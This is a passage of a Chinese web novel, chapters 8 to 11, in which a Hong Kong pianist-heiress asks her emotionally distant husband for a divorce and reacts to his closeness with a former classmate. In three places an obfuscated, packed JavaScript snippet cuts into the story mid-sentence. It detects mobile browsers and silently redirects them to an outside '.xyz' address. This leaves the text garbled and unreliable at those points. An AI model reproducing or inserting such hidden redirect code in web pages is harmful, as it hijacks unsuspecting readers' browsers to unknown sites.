餐厅的灯是贺羡棠亲自挑的,一支木兰花的形状,小灯泡藏在花芯里,一点亮度刚刚好的灯光落在沈澈脸上,照着他英挺的眉眼,整个人都柔和了许多。 贺羡棠发现在这话落地的一瞬间,沈澈脸色微变,垂着的眼睫下藏着一些她看不懂的情绪。 贺羡棠记不起来沈澈什么时候还流露出过这样的神色。他作为远南集团的继承人,从小就被教育喜怒不形于色,谈判桌上任何一个细微的表情都有可能被对方捕捉成为弱点,所以结婚这么多年,贺羡棠最熟悉的还是他面无表情的样子。 沈澈很快恢复如常,淡声说:“我好像没有同意离婚。” 贺羡棠皱着眉。 他总是这样,明明不喜欢自己,将就着过日子,却还是不愿意离婚。 贺羡棠不理解。她有所谓,情绪来的很快,说:“可是我想离了!” 语气尖锐。 沈澈沉着脸唤她:“cecilia。” 反应过来自己的失态,贺羡棠靠着椅背,不再说话。 沈家的餐厅在外侧,大面积的落地窗可以看到前院花园的景色,贺羡棠转过头往外看,今夜天气不好,雾霭沉沉,海风把海棠树的叶子吹的七零八落。 这棵树五年没有开过花。 一如她失败的婚姻。 沉默许久,贺羡棠说:“沈澈,我承认当初我和你结婚的时候,是有那么一点喜欢你的。但现在不了,这么过下去挺没意思的。” 贺羡棠知道林樾和贺家齐为她挑选的结婚对象是沈澈时,第一反应其实是很高兴的。 她暗恋沈澈已经很久了,什么都不做,居然也能等到梦想成真的一天。 她要和她喜欢的人结婚了。 那时候她才二十几岁,很年轻,对爱情和婚姻都充满向往,在发现沈澈已经快把她这个人忘掉时,也只是失落了一小会,很快就重振旗鼓,雄心勃勃,觉得日子那么长,总有日久生情的说法。 贺羡棠记不清是在什么时候彻底对这件事失望,大概是在日复一日流水般平淡无波的生活里,有一天忽然意识到,让沈澈喜欢上她是一件很难办到的事情,与其把精力花费在这上面,不如多练两个小时琴。 贺羡棠不愿意再想这些蠢事,扯了下唇角,强行从回忆中抽离出来。 她吃饱了,起身,向沈澈下最后通牒:“下周一,让你的律师和林佳见一面吧。” 8. 第 8 章 贺羡棠走后,沈澈安静地把剩下半碗意面吃完。 绣姐目睹一切,很悲伤地看着男主人。 她是贺羡棠的保姆,贺羡棠婚后,她本该退休了,又舍不得她,于是便随她来到这里。 她们这样家庭的孩子,和父母相处的时间很少,反而和保姆更多,情感非同一般。绣姐一生没有孩子,她拿贺羡棠当自己的小孩。 她能看出来贺羡棠喜欢沈澈,也希望她能幸福。 沈澈说:“把蓝莓给她送上去。” 绣姐应“好”,端着水果盘上楼,转身时听到沈澈无奈地笑了下,紧接着小声说了句什么。 好像是——“变脸比翻书还快。” 绣姐上来敲门时,贺羡棠正在接Mia的电话,匆匆打开门,对电话那边说“稍等”,捂住听筒问绣姐:“什么事?” “先生让我把蓝莓给您送上来。” 贺羡棠晚餐后喜欢吃点水果,她吃饭挑剔,吃水果倒还好,只要不酸都爱吃。 刚才一直和沈澈说话,她并没吃够。 “不用了,我已经吃饱了。” 贺羡棠对绣姐摇摇头,然后关上门,手心放开听筒,Mia的声音重新传出来:“点呀?你家绣姐同你讲什么,什么先生?” “没什么。”贺羡棠窝进沙发里,揪着抱枕一角,和Mia吐槽,“沈澈不愿意离婚,你说他怎么想的?” Mia啧啧称奇:“他都出轨了还不愿意离婚?看来不是真爱。可如果不是真爱,他为什么出轨?沈澈看着不像是那种人啊……” 就算Mia不喜欢沈澈,她也不得不认可沈澈的人品。况且,全香港趋之若鹜的太子爷,他如果想在外面乱搞,还用等到今天? 贺羡棠这才想起来还没向她解释:“不是啦,那是个误会,叶微是周聿安的女朋友,媒体乱点鸳鸯谱。” Mia想了想,叶微确实是周聿安的菜,但她仍保持怀疑态度:“他骗你的吧?” “不会,沈澈还不至于。” Mia拖着长腔“嗯”了一声,开玩笑似地说:“那他是不是喜欢上你了?” 贺羡棠说:“觉得我好用的可能性更大一点。” 离婚以后,沈澈去哪找一个她这么配合的“婚姻合伙人”。 Mia无声地点了点头。 五年前她曾劝过贺羡棠,沈澈这样的人,只可远观不可亵玩。你看他像是高山之巅的一抹雪,正月十五的一轮月,真摸上去了,才知道是冷冰冰的,毫无温度。 贺羡棠当时不信,她认为沈澈哪里都好。 而且她说:“不会有人不喜欢我。” 贺家是香港少有的模范家庭。贺齐和林樾夫妻感情很好,没有一串乱七八糟的小三小四,贺家也就没有另一串乱七八糟的私生子私生女,只有三个小孩,贺羡棠是二女儿,有个大佬罩着。 贺羡棠从小泡在蜂蜜罐里长大,成长道路上唯一的意外就是被绑架,但毫发无伤地回来了。一直到硕士毕业,她最大的烦恼还是练不好钢琴曲。 这样的人,从来没想过有人居然会不喜欢她。 如果有,那肯定是对方的问题。 现在贺羡棠能看清,沈澈确实是个无聊到爆炸的没有感情的机器人,Mia很欣慰。 她问:“你离婚,你妈咪知道吗?” “我不敢说,她肯定不会同意。”贺羡棠嘱咐她,“你暂时帮我保密。” “好吧。” 无论如何,Mia都站在贺羡棠这一边。 想到离婚困难重重,贺羡棠又叹口气。 她胸闷,走到露台上透透气,夜幕深沉,又下雨了,很小,前院青石板路旁的灯带开着,能照亮绵密轻柔的雨丝。 因地处亚热带,山上大多数植物都是四季常青的,满山的草木在充沛的雨水中生长,静静地散发出一蓬蓬青绿叶子味。 “别叹气啊。”Mia劝她,“离婚而已,沈澈还能绑着你不许离?那也太没绅士风度了。” 贺羡棠“嗯”了一声,在心底认同Mia的话。 无论如何,沈澈不会绑着她不许离婚的。他是个很不愿意丢掉风度的人,认为这样做事拖泥带水,小气,上不得台面。 “明天出来玩吧,我有个朋友在南区那边开了家射击馆,去给他捧捧场。” “我不会。”贺羡棠靠在黄铜雕花栏杆上看云。 沈澈射击很厉害,手指指腹上磨出一层薄茧,但贺羡棠很珍惜她的手,那是要弹钢琴的。 “给你找个教练。”Mia说,“随便玩玩,那边也有咖啡厅可以休息,你就当出来散散心了。” 左右无事,每天待在家里也只是练琴,贺羡棠答应了。 挂断电话,贺羡棠伸出手,感受雨丝打在手心上,一点点湿润的痒。 今秋多雨。 雨声淅淅沥沥,音调悲恸,像一曲挽歌。 / 射击馆开在南区海边,一侧是明亮蔚蓝的海岸线,会所很大,车子一路开进去,绿地随着海岸线起伏。 室内室外的射击场都有,为了美白,Mia从不愿意晒太阳,只在室内玩。 打的是□□,不用戴降噪耳机,后坐力也小,对贺羡棠这样的新手来说,相对简单好上手。 Mia给她安排好教练,就自己去玩了。 贺羡棠站在教练身边,认真地听讲,偶尔在教练的指导下,上手试试,虽然歪到六七环去,但好歹没脱靶。 教练是个大胡子白人,不知道是不是奉行鼓励教育,贺羡棠每开一枪,他就一边鼓掌一边用纯正的美式英语夸她可以出师了,语调热情又夸张。 贺羡棠被他夸的飘飘然,认为自己很有这方面的天赋。 没一会儿,射击馆的老板,Mia的朋友来了。贺羡棠认识他,是赵珩一个堂了几堂的堂弟,叫赵立昇。 不熟,仅见过几次面。 赵立昇一见到她就喊:“您说巧不巧,沈董今天也来玩。” 贺羡棠尴尬地抿了下唇,淡淡地说:“是么?” 没想到赵立昇根本听不懂她的言外之意,也看不到她不想谈论这个话题的脸色,大声说:“是啊!就在旁边的二号射击场,您不是和沈董一起来的啊?怪不得……” 听出他的欲言又止,Mia轻挑眉梢:“怪不得什么?” 赵立昇连连摆手:“没什么没什么。” “吞吞吐吐的,搞什么鬼?”Mia一双火眼金睛睨着赵立昇,想了一会,觉得准没好事,干脆拉着贺羡棠的手说,“走,去看看。” 贺羡棠其实想说“算了”,反正是要离婚的。Mia没给她开口的机会。 2号射击场就在隔壁,刚走出去,透过玻璃,贺羡棠就看见里面两道熟悉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542964|171070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身影——沈澈和光千照。 两人似乎是在比赛,打满十发,平手。沈澈放下枪,侧身对光千照笑了笑,垂着头和她说话。 女人一头利落的短发,穿休闲简单的白衬衫牛仔裤,衬衫扎进腰里,显出落拓的腰身。 和沈澈这种常年身居高位的人站在一起,气质上居然旗鼓相当。 即便隔着一扇窗,贺羡棠也能感受到,沈澈一身的轻松。 她脑海里“嗡”的一声。 光千照,贺羡棠已经很久没见过她了。 上次见面大概是…… 两年前。 贺羡棠三十岁生日。 沈澈在纽约出差,原本定在她生日当天下午回国,答应晚上陪她一起过生日。 贺羡棠是很注重仪式感的一个人,生命中的每个节日和生日,对她而言都格外重要。 更何况是三十岁的生日。 婚后沈澈很难抽出时间陪她,甚至刚结婚时有很长一段时间,因为远南集团内部的斗争,贺羡棠如果要见沈澈,需要提前和Tina商定时间。 那次Tina告诉他,沈董熬了几天夜,赶着在她生日前结束工作。 贺羡棠很高兴,推掉了所有朋友的邀请,提前两天在家准备,鲜花、蛋糕、气球、以及当天晚餐的食材…… 却在生日前一天,收到沈澈返程推迟的消息。 贺羡棠能理解沈澈工作忙,只是她很想和沈澈一起过三十岁的生日。 山不就我,我就山。 从香港飞纽约,跨越太平洋,花费近二十个小时。 贺羡棠次日落地纽约,前往沈澈下榻的酒店,才知道他人在医院。 陪光千照生产。 Tina很怕她误会私生子什么的,再三向她保证:“沈董和光总只是朋友关系。光总她单身生育,买精生子,没人陪在医院,沈董才过去的。” 同为女人,贺羡棠理解这是重要且危险的时刻,她也相信沈澈,可心里忽然像被玫瑰上的倒刺扎了一下似的,不是很疼,只是密密麻麻的酸。 她记得光千照,比她大两岁的学姐,和沈澈一届,在读中学时就和沈澈被誉为校花校草天作之合。 中学么,课业之余,大家都爱点俊男靓女的鸳鸯谱。尤其沈澈和光千照,长的好,同样优秀,在各种竞赛中的表现不相上下,据传后来又一起申请到了哈佛的offer。 那几年贺羡棠先后在瑞士、意大利、美国求学。北美留学圈里,哈佛和茱莉亚距离不近,贺羡棠却也总能听到有关这两个人的风言风语。 后来她课业压力大,又需要筹备自己的音乐会和比赛,就没再关注这些事情。还是结婚后,贺羡棠才知道,他们没能修成正果,在同学间一度传为憾事。 贺羡棠听到有人这么说时,并没有生气。 因为她自己也这样认为。 光千照事业有成,雷厉风行,她才是真正和沈澈合得来的人。仔细算算,贺羡棠才是那个后来者。 如果没有沈贺两家的联姻,他们或许早就在一起了。 Mia骂了句脏话,撸起袖子就要往里冲,冲了半步,发现贺羡棠呆呆地愣在原地:“cici?” 贺羡棠回过神,对Mia说:“没事,他们是朋友。” Mia要晕掉了。 朋友。 听听这鬼话。 9. 第 9 章 会所内有用来休息的咖啡厅,此刻没什么人,贺羡棠和Mia坐在角落靠窗的位置,外面是一望无垠的草坪和海岸线。 Mia问:“那女人到底是谁?你认识?” “光千照。”贺羡棠搅着咖啡,没心情喝。 胸口像塞着团棉花一样闷胀沉重,与外面明媚的秋光截然不同。贺羡棠暗骂自己没出息。 因为她发现自己仍然会难过。 “光千照?”Mia蹙眉,一时记不起来是不是在哪听过这个名字,“是中国人吗?这名怎么听着像棒子国的。” “祖籍是广东那边的,她父母是G大的教授。”贺羡棠顿了下,“我们算是中学同学,她比我大两届。” 贺羡棠十六岁出国读书,出国前念的那所学校是香港最好的国际学校,除了她这样的学生,也有不少高知家庭的孩子。 Mia没在香港上过几年学就去瑞士了,除了从小一起长大的几个朋友,不认识贺羡棠这些中学同学,“哦”了一声,反应过来:“比你大两届,和沈澈一届喽?” “……嗯。” Mia“啊”了一声:“以前怎么没听你提起过?同学……看起来不像同学啊?” “算是朋友吧。”贺羡棠说。 Mia就不信男女性之间有纯友谊,翻了个白眼:“只是朋友?” “是吧。”贺羡棠垂着眸,掩饰眼底的失落,“我也不知道。” 她不知道怎么总结沈澈和光千照的关系。如果说是朋友,两人从生活、工作到性格,都未免也太合拍了,曾经也有传言说他们在大学时谈过恋爱,只是后来分手了。 可如果说他们的关系超越普通朋友,沈澈又能在光千照面前,揽着她的肩膀介绍——“这是我妻子”,光明正大,磊磊落落。 虽然有两年没再见过光千照,但贺羡棠也知道,沈澈和她的联系很频繁。光千照自从毕业后就留在纽约工作,因能力出众,在一家国际银行步步高升。而沈澈每次去纽约出差,贺羡棠都能在光千照ins账号里晒出的照片一角找到沈澈的身影。 除此之外,也有一些工作上的联系。 每次贺羡棠问起,沈澈也会如实相告。 起码在实际行动上,沈澈和光千照都很有边界感,从未逾矩。 Mia叹了口气,不再追问。反正他们要离婚了,追究这些也没有意义,不如多考虑考虑财产分配的问题。 她问:“林佳可以吗?要不要我介绍个律师给你,专门打离婚诉讼案的。” 贺羡棠失笑:“我们应该还不至于为了财产的事情闹上法庭。” 不远处,赵立昇看着贺羡棠的背影,若有所思。 赵珩拎着两瓶水走过来,撞了下赵立昇肩膀,分他一瓶,含糊不清地问:“办成了?” 赵立昇没个正形:“我办事,你死心。” 赵珩锤了他一拳,知道这是办妥了。 赵立昇对着贺羡棠的方向抬抬下巴:“我说你这叫撬墙角吧?” “撬什么墙角!”赵珩说,“我怀疑cici想离婚,我这顶多就是替她添把柴加把火!” 赵立昇用看变态的眼神看着他:“你怀疑?” 赵珩摆摆手,不解释:“你先保密,被她妈知道就不好离了。” 赵立昇点点头,半晌反应过来:“那你这还是撬墙角啊!” “你……”赵珩无语地看着他,破罐子破摔,“我就撬他墙角了,你知道那姓沈的干了什么事吗?” 赵珩从手机里翻出一条转账记录给他看:“那天晚上我送cici回家,他给我转了两百块钱!两百块钱!你知道什么意思吗?” 赵立昇冷眼看着赵珩跳脚:“什么意思?” “车费!”赵珩愤愤不平,“拿我当司机呢!你说说,就他这样的,平时像个人机一样,气人的本事一流。我凭什么不能撬他墙角!” 他堂堂赵小公子,赵家的独苗苗,什么时候受过这种气! “别找借口,你早就暗恋cici了吧?”赵立昇边摇头边叹气,用不屑的目光上下扫视他,“你这跟小三有什么区别?” 赵珩理直气壮:“不被爱的才是小三!” 赵立昇想了下,反问:“那不还是你吗?” 赵珩气死了,丢下他走进咖啡厅,长腿一迈坐在贺羡棠旁边的沙发上,孔雀开屏似地整理着他精心搭配的衬衫袖口:“靓女,雷猴啊。” 贺羡棠看看他,一身黑色西装,剪裁得体,像是手工定制,再看看自己的浅绿色运动服,不确定地问:“你来……谈生意?” 她只知道他们这些人喜欢去高尔夫球场谈。 也许是对方喜欢。 “…………” 赵珩含糊地答:“嗯。挺巧。经度银行的CFO,”他状似不经意地说,“今天好像也在。” Mia问:“那个Miranda?” 赵珩还是没记住人家的名字:“是吧。Maya还是什么,中文名挺有意思的,姓光,听着像棒子国的人。她过几天办就职晚宴,哎,”赵珩看着贺羡棠,“听说沈生也去啊,他是商会会长,远南集团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542965|171070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也和经度银行有不少合作。” 做生意,总是绕不开银行。 经度银行新任CFO,居然是光千照吗? 贺羡棠没说话。 赵珩戳戳她:“你去吗?那种地方怪无聊的,咱俩还能说说话。” 贺羡棠说:“不去。” 晚上贺羡棠没回家,和Mia一起去一个游艇聚会玩,入夜,会客厅里支起牌桌打麻将,贺羡棠跟着玩了一会,兴致缺缺,一个人去甲板上透气。 Mia喊:“干什么去?” “吹吹风!” “别感冒了!” 贺羡棠回头冲她一笑:“唔该,bb放心!” 转身出会客厅,一瞬间安静了,贺羡棠的笑垮掉,面无表情,心想总算能清净一会儿。 这一晚吵的她头疼。 海风猎猎,深蓝色的海水拍打着船身,会客厅里隐约传来洗牌推牌的声音,和着几声被金钱浸润过的“胡”,一派纸醉金迷。灯火通明,推杯换盏,人世间的欢愉如同浪潮奔流不歇,永恒迷人。 贺羡棠晚上喝了半杯香槟,有些犯困,海上又冷,她怕真的感冒,裹紧披肩,无所事事地从手拿包里翻出手机,屏幕随之亮起,显示有三通未接来电。 这很反常。 沈澈一般只会打一通,没人接就作罢。 她没去管,盯着时间看了两秒,凌晨一点二十五分。 贺羡棠不合时宜地想起白天沈澈和光千照站在一起的样子,脑海中浮现出两个字——般配。 就和沈澈没有去听她的音乐会,而是去给光千照的发布会捧场,后来贺羡棠看见新闻里两人站在一起的照片时,脑子里冒出的第一个词一样。 没一会儿,手机铃声又响了,还是沈澈。 接通。男人声音冷且沉:“在哪?” “和Mia在游艇上玩,忘记告诉你了。” 沈澈没说什么,淡淡地“嗯”了一声。然后是长久的沉默,他没挂电话,贺羡棠也没挂。听筒里传来彼此的呼吸声,交织起伏着。 贺羡棠问:“怎么还没睡?” 沈澈顿了一下:“在外面。” 贺羡棠听见有人叫他名字,很爽脆的女声,说:“挂了吧,早点休息。周一不要忘记让律师见面。” 海风涌上来,把她耳边的发丝吹到脸上,贺羡棠抬手拨了一下,无名指上的婚戒闪着一点粲然的光。 下一秒,贺羡棠摘下戒指,毫不犹豫地向外一抛。 那枚闪着细光的小东西瞬间消失在茫茫海面上。 10. 第 10 章 第二天早上八点,游艇靠岸,停泊在深湾。 贺羡棠刚下船,就看见沈澈的司机等在那里。他的司机和他是一样的性格,踏实稳重,寡言少语,穿一身稳妥的黑西装,负手而立,带着一把长柄伞——天文台预报说今天有雨。 贺羡棠不在乎沈澈怎么知道她昨晚上了哪条船,又如何准确得知她的位置,只要他想,他总有办法。 游艇上有供客人休息的房间,但贺羡棠昨晚睡的不好,现下不想纠缠这些,并未多言,和Mia道别后就跟着司机回去了。 到家,贺羡棠直奔主卧,换上睡衣,倒头就睡。 只要不是换新环境,贺羡棠的睡眠质量都不错。她自己也不知睡了多久,中间似乎迷迷糊糊地醒了一次,闻见一股很清澈泠冽的香气,带着雨水的潮湿感。 外面似乎又开始下雨。 这些天的雨没完没了。 贺羡棠没心情多想,再次昏昏沉沉地进入梦乡。梦里有个温暖的庞然大物靠近她,她忍不住往那个方向蹭了蹭,找到一个十分舒适的姿势。 沈澈握着贺羡棠的左手,轻轻摩挲已经空了的无名指。忽然她的脸靠过来,像寻找玩具的小动物般,在他手背上蹭了下。 很软的触感。 沈澈心里有一块地方,也跟着软了一下。 同床共枕五年,他记得贺羡棠这个习惯。以前他偶尔晚归,贺羡棠已经睡了,躺下后,她总是往自己身边蹭。开始沈澈以为把她吵醒了,几次以后他才发现,贺羡棠没醒,那完全是下意识的动作。 贺羡棠从不掩饰自己的喜欢。或许最开始矜持掩饰过,但她的喜欢会从很多不经意的小事情里流露出来,她会记得沈澈喜欢吃山竹,会在他生日时花几个小时亲手做蛋糕,也会在他加班的台风夜里,冒雨送来。 在性.事上,无数次攀至愉悦的顶峰,贺羡棠也会环着他的肩小声说喜欢。 但沈澈对这份感情无能为力。他无法回应,那几年里他总是很忙,相对于认真谈恋爱,他更需要一份各取所需的婚姻。 原本就是利益平衡之下的商业联姻,如果掺杂进真情实意,反而会把事情搞复杂。 他只能尽力在别的方面弥补,比如给贺羡棠信托和股份。 可不知道是从什么时候开始,贺羡棠把这些好,连带着她的喜欢,一点点地收回去了。 其实现在想来,这个过程很漫长,像是一场台风后的梅雨季,今天下一点雨,明天又下一点,没完没了地下了许久,才彻底迎来艳阳高照的晴天。 沈澈意识到这件事时,心里其实有几分轻松。但他没想到贺羡棠会直接提出离婚。 沈澈垂头,在贺羡棠本该戴着婚戒的无名指上印下一个吻。那里有一圈很浅的白色痕迹。 然后他把自己无名指上的婚戒也摘下,放在贺羡棠枕边,起身离开。 沈澈不理解贺羡棠为什么想离婚,除了没有感情回应以外,他没亏待过她什么。 但如果她果决到了如此地步,他也没必要继续挽留。 / 贺羡棠醒来时已经快中午了。 她有赖床的习惯,翻个身继续闭上眼,不想动,脸颊却忽然压到一个冷冰冰的很硬的东西,像是某种金属,拿起来一看,是戒指。 她的婚戒,但是圈号明显大很多,上面也没有钻石点缀,是男款。 沈澈的。 他回来过? 贺羡棠对着窗户,举起那枚小东西发呆,最后得出一个结论—— 沈澈回来过。 沈澈回来后看见她的无名指空了。 沈澈不会再把离婚这件事拖下去了。 这很沈澈。 他们的婚姻是一桩生意,沈澈不想离婚,是出于利益的考量,但如果贺羡棠不愿意继续合作,他也不会强迫。 贺羡棠收好戒指,放进她首饰盒最里面一层,下楼去找东西吃。 外面雨还在下,空气都沉闷。客厅里绣姐正在织毛线,她最近迷上了钩织,贺羡棠就让她给自己织一条围巾。 沈澈不在,绣姐说:“先生早上回来过一次,很快就走了,说今晚也不回来吃。” “谁问他了?”贺羡棠研究绣姐织出来的蓝色小花朵,找别的话说,“中午吃什么?” “今天的东星斑新鲜的不得了,我让厨房蒸一蒸吃。还有烧腊、白灼菜心、炸鳝球……”绣姐开始报菜名,“刚送来的豆苗也新鲜,是今早农场空运过来的,水灵爽口,拌着吃不错。” 沈家有自己的农场,每日送有机蔬果,以确保食材新鲜健康。这些不需要贺羡棠关心,她问:“有糖水吗?” 绣姐说:“先生说您最近气色差,让煮八珍茶。” 八珍茶是一种凉茶,用茯苓、党参、白芍、当归这些东西煮出来的,补气血。岭南地区常年闷热,暑滞湿热,易“中热毒”,凉茶便倍受追捧。这个“凉”是“清热祛湿、败火消毒”的意思。 比中药还苦。 贺羡棠不爱喝。 她坐下耍赖:“太苦了,我不喝。” “喝一点对身体好。”绣姐放下手里的活,像哄小孩子一样双手轻轻拍两下她的小脸蛋,“先生也是关心你。” 绣姐去厨房端八珍茶,贺羡棠歪歪扭扭地靠在椅子里,忽然一转身,手指扣着椅背:“绣姐,你刚刚说什么?” 绣姐说:“喝一点对身体好。” 贺羡棠摇头:“不是这句,下一句。” 绣姐想了想:“先生这是关心你啊。” 贺羡棠问:“你真觉得他关心我?” 绣姐沉默片刻,放下碗,坐在贺羡棠旁边,叹气似地叫她,颇有些语重心长:“cici啊……” 她从贺羡棠还在喝奶粉的时候就照顾她,二三十年的时光,让贺羡棠对她倍感信任。有些话她说,贺羡棠会听,绣姐觉得她也应该说。 “这世界上没有两全其美的事情。如果沈澈是个一事无成,只知道围着你转的男人,就算他事事贴心,处处周到,你还会喜欢他吗?” 贺羡棠缓慢地眨着眼想了一会儿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542966|171070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十几岁的心动其实持续不了太长时间,她年轻,还未步入大学,又远渡重洋,世界宽广,新鲜的人和事太多太多了,有时候,贺羡棠自己也会忘记她还有个暗恋对象。 可只要一想起他,去看他的演讲,他初入远南集团就职时在新闻发布会上的讲话,甚至是一些会议上,他坐在台下,那种风度翩翩又游刃有余胜券在握的样子,就让人移不开目光。 她喜欢沈澈这个样子,她永远为那些他在人群中闪着光的瞬间心动。 贺羡棠说:“可是爹地也很爱妈咪。” 自由恋爱和商业联姻怎么能比?贺父贺母在婚前就磨合好了。 绣姐说:“你爹地年轻的时候也很忙,你要给沈生一点时间,他会改的。” 五年还不够吗? 贺羡棠垂下眸,揪着袖口玩,半晌闷闷她地说:“我不想再等了。我要离婚,你会支持我吗?” 绣姐一下一下摸着她的头发:“你做什么我都支持你。” 贺羡棠高兴了。 对她来说绣姐是和家人一样重要的存在。她现在不能告诉林樾,也不敢告诉贺舒和大佬这两个很可能泄密的人,只能从绣姐这里寻求一点小小的支持。 / 周一,沈澈的律师和林佳会面,聊了四个小时。 结束后林佳给贺羡棠打电话汇报情况,贺羡棠正在前院照顾她的花,手机放在地上,开着公放,心不在焉地听。 “对于我们之前拟订的离婚协议,对方没有异议。财产分割方面的问题我会和高律师处理。” 贺羡棠和沈澈两个人名下的资产错综复杂,结婚这些年,贺羡棠也有远南集团旗下某些产业的股份。财产分割是一个很复杂的问题,正式办完所有手续也需要很长一段时间。 贺羡棠剪掉山茶花长的过长的枝条,没有说话。 林佳继续说:“除此之外,沈董愿意将他在深水湾和纽约中央公园南的两处物业赠予您,以及目前您名下所持有的远南集团旗下公司的股份,也会依旧属于您。” 在林佳看来,这是很慷慨的、称得上善待的手笔了。 “他只有一个要求。” 一株山茶花修剪的差不多了。贺羡棠左看右看,把多余的叶片摘掉,问:“什么?” 林佳说:“暂时不公开离婚的消息。” 沈澈有沈澈的考量。贺羡棠都理解,什么时候公开,公不公开,她都配合。 贺羡棠摘下手套,把花艺剪刀丢回她的小桶里,这才拿着手机站起身,边往客厅走边说:“可以,但我不要他的钱。” 林佳“啊”了一声:“那可是很多钱。” 不说一直钱生钱的股份,就算是香港和纽约两处物业,也足够普通人衣食无忧一辈子了。 “我不缺钱,你把财产分割清楚就行。” 贺羡棠只想把婚离的干干净净清清楚楚,从此以后她和沈澈再无瓜葛。 林佳不再劝:“好吧。” 贺羡棠这次经过那棵海棠树,没有驻足,也没有回头。 11. 第 11 章 自从那天留下婚戒后,沈澈就一直没有回家,Tina告诉贺羡棠他睡在办公室。 这位生活秘书尽心尽力,每天向贺羡棠汇报沈澈的情况,前天是老板加班到凌晨,昨天是老板忙到不吃晚餐,今天又是老板感冒了。 贺羡棠全都没有回复。 Tina看着毫无动静的whatsapp,心想老板这次是真的要扑街了。 贺羡棠不是一个果断的人,相反,因为优越的条件,她不需要做选择,性子养的有些优柔寡断。 这样的人,一旦决心要做某件事,是拉不回来的。 就像她当初嫁给沈澈,她身边没有一个朋友同意。商业联姻最忌动感情,平时各玩各的,需要营业的时候在外装模范夫妻最省事。 当局者迷旁观者清,贺羡棠如果不爱沈澈也不会要离婚了,就是因为太喜欢,所以忍受不了没有爱情的婚姻,宁愿不要。Tina都知道的事情,只有执行董事办公室里面那位看不清。 Tina感慨万千地收起手机,端着杯咖啡敲开沈澈办公室的门。 沈澈没分给她半个眼神,直到她放下咖啡,站着没走,沈澈才微微抬起眸,看向她:“有事?” Tina说:“明天是贺太生日。” 贺太——贺羡棠的母亲,林樾。 林樾过生日不喜欢大操大办,一家人能聚在一起吃个饭就好。别说贺羡棠和沈澈还没离婚,就算离了,没公开,这顿饭他也必须回去吃。 沈澈靠在宽大的扶手椅里揉太阳穴。 他最近住在公司,一是一想到离婚的事情心里就烦,总觉得有些东西像打结的毛线球一样理不清楚,沈澈活了三十多年,还没有体会过这样的感受,理不清就干脆不先理。 二是他确实忙,集团内有桩并购案,是沈诚明在外面的私生子邢璋负责的,这案子有蹊跷,沈澈亲自盯着,忙的不可开交。 把外母的生日都忘了。 “我知道了。”沈澈问,“礼物?” Tina说:“已经准备好了。一支45年的罗曼尼康帝,贺太喜欢收集红酒。” 沈澈点了一记头,还算满意。 次日,天气很好。傍晚沈澈特意早下班,带着Tina为林樾准备的红酒,回山顶接上贺羡棠,往浅水湾去。 迈巴赫驶过浅水湾道,贺羡棠降下一点车窗,吹海风。不远处海面上风平浪静,退潮了,落日洋洋洒洒铺满水面,闪着碎金般的光影。 风声,汽车引擎声,和棕榈叶簌簌晃动的声音一起挤进来,打破这方沉默的空间。 贺羡棠望着海岸线,突然开口:“我还没告诉妈离婚的事情,一会儿你不要说漏嘴。” 沈澈“嗯”了一声。 “林佳说你要送我两处房产和一些股份。” 沈澈说:“深水湾的房子,已经装修好了,风格你应该会喜欢。纽约那边是一套公寓……” 谈离婚的事情,沈澈说不出来的烦躁。 贺羡棠拒绝:“不用了,谢谢。” 又是沉默,过了半天沈澈才说:“给你你就拿着。” 贺羡棠没和他争执,他们俩谁也说服不了谁。 车已经停稳。沈澈先下车,帮贺羡棠开车门。 贺羡棠看了眼主宅透着灯的窗户,挽上他的胳膊,扯出一个笑来。 “鱼处理好了吗?cici嘴巴挑,有腥气她不吃的。”林樾扭头对晶姐吩咐,“还有老鸭汤,少放一点姜,不要被她尝出来。” 贺齐不喜欢娇养小孩,把报纸翻的哗啦啦响:“这也不吃那也不吃,都是被你宠坏的!” 林樾睁大眼瞪他。 贺齐怕老婆,冷哼了一声,捏着报纸找老花镜,刚戴上,又不耐烦似地抬起手腕看时间,粗声粗气道:“怎么还不回来?贺少川不回来也就罢了,贺羡棠也不回来!” 明明就是想女儿想的不得了,偏偏嘴硬,林樾懒得理他。 “你着什么急?沈澈工作那么忙,你以为人人都像你一样,成天蹲在家里看报纸?”提到这个,林樾就生气,“把儿子搞得连谈恋爱的时间都没有,你高兴啦?” 说起来,她有三个孩子,却只有cici结婚了。小女儿贺舒倒是不着急,大儿子贺少川比cici还要大两三岁,却连个女朋友都没有。 林樾想起来就头疼。 贺齐振振有词:“我这是锻炼他!我永远不放权,他怎么在公司里立足?那群老家伙怎么会服他?” “我不管!”林樾说,“今年贺少川必须给我结婚!” 